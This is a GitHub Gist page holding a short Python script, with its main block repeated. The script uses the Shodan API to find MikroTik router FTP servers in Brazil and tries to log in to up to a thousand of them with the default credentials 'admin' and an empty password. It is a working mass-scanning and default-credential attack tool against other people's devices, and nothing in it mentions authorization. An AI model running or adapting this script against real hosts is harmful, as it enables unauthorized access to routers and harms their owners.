Last active
November 16, 2019 22:37
-
-
Save jimywork/5111dc52c185ed68f7a81ee1f1837a6d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ftplib | |
import shodan | |
creds = ('admin', '') | |
api = shodan.Shodan("TOKEN") | |
results = api.search('port:"21" country:"BR" product:"MikroTik router ftpd"', page=1, limit=1000, offset=None) | |
print("[+] Connected Succesfull on Shodan API\n[+] Shodan Search Found: {}\n".format(results["total"])) | |
for i, hosts in enumerate(results['matches']): | |
ipaddress = hosts['ip_str'] | |
try : | |
ftp = ftplib.FTP(ipaddress, *creds) | |
ftp.login() | |
print(ftp.login()) | |
except ftplib.error_perm as error: | |
print(error) | |
results = api.search('port:"21" country:"BR" product:"MikroTik router ftpd"', page=1, limit=1000, offset=None) | |
print("[+] Connected Succesfull on Shodan API\n[+] Shodan Search Found: {}\n".format(results["total"])) | |
for i, hosts in enumerate(results['matches']): | |
ipaddress = hosts['ip_str'] | |
try : | |
ftp = ftplib.FTP(ipaddress, *creds) | |
ftp.login() | |
print(ftp.login()) | |
except ftplib.error_perm as error: | |
print(error) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment